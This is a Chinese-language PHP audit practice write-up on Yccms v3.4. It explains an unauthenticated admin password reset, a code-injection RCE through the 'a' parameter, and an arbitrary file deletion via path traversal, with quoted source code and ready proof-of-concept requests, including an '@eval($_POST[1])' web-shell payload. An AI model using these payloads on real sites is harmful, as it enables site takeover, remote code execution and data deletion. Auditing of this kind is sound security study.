Php审计练习 Yccms_v3.4
第一步仍然是搭好网站,这个网站还是很好搭的
后台 /admin
这个cms也是mvc架构
controller文件夹存放控制器文件,view文件夹存放视图文件,model文件夹存放数据文件
未授权修改admin密码
漏洞点在这里
主要就是这里
$this->_model->username=$_POST['username'];
$this->_model->password=sha1($_POST['password']);
$_edit=$this->_model->editAdmin();
该函数位于model\AdminModel.class.php
public function editAdmin(){
$_sql="UPDATE
my_admin
SET
username='$this->username',
password='$this->password'
WHERE
id=1
LIMIT 1";
return parent::update($_sql);
}
他所在的类继承了这个类
class AdminModel extends Model
跟进去看一下
位于model\Model.class.php,看一下update函数
protected function update($_sql){
return $this->execute($_sql)->rowCount();
}
调用execute函数去执行sql语句
protected function execute($_sql){
try{
$_stmt=$this->_db->prepare($_sql);
$_stmt->execute();
}catch (PDOException $e){
exit('SQL语句:'.$_sql.'<br />错误信息:'.$e->getMessage());
}
return $_stmt;
}
editAdmin函数直接把传进来的username password拼接到sql语句中,然后去更新相关表中id=1的数据,这也就造成了任意更改管理员账号密码
直接进行了信息更新,这一系列操作并没有对用户身份进行验证
poc
POST /admin/?a=admin&m=update HTTP/1.1
username=admin&password=123456¬password=123456&send=%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81
rce
poc
/admin/?a=Factory();phpinfo();//../
/admin/?a=Factory();@eval($_POST[1]);//../
让我来看看为什么
漏洞点在这个地方,他把这个$a没进行处理就拼接进去了,导致可以用;分隔开执行后面我想执行的代码,最后用//注释就好了
需要绕一下的就是这一句
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
if (!file_exists(ROOT_PATH.'/controller/'.Factory();phpinfo();//../.'Action.class.php')) $_a = 'Login';
Factory();phpinfo();//../
绕过file_exists()函数的验证,这个函数在进行检查会有一个bug,比如/controller/admin;/../,函数允许路径中有一些特殊字符,并且遇到/../会返回到上级目录,可以利用这个策略逃逸出 file_exists()函数检查。 构造payload—>Factory();phpinfo();//../ Factory()是为了闭合eval中的new实例化,然后后面的是执行的命令语句,所以我们要找有生成Factory()实例的文件/config/run.inc.php
ucfirst — 将字符串的首字母转换为大写,起不到啥作用
调用流程如下
ps:autoload机制
任意文件删除1
漏洞点位于后台,未对用户身份进行校验,可未授权删除。
poc
/admin?a=pic&m=delall
pid[0]=../test.txt&send=删除选中图片
test.txt位于根目录位置
调用顺序如下,可以看到这里可以目录穿越,可以从原本设计的upload文件夹穿越出来
任意文件删除2
第二处文件删除在controller/ArticleAction.class.php,查看代码如下,以get方法接收id参数,先连接数据库查找该id是否存在,若存在则删除该id所对应的文章,因此这里无法删除任意文件,只能删除文章